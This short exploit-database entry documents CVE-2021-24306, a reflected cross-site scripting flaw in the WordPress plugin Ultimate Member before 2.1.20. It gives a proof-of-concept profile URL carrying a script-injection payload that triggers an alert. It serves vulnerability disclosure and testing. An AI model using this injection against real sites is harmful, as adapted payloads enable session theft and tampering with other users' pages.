Exploit for Ultimate Member < 2.1.20 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24306

Name: Exploit for Ultimate Member < 2.1.20 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24306
Rating: 5 (72 reviews)

2021-05-07 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:35516555-C50C-486A-886C-DF49C9E51E2C
Log on to the blog and open the following link: https://example.com/user/[your username]/?"><script>alert("XSS")</script>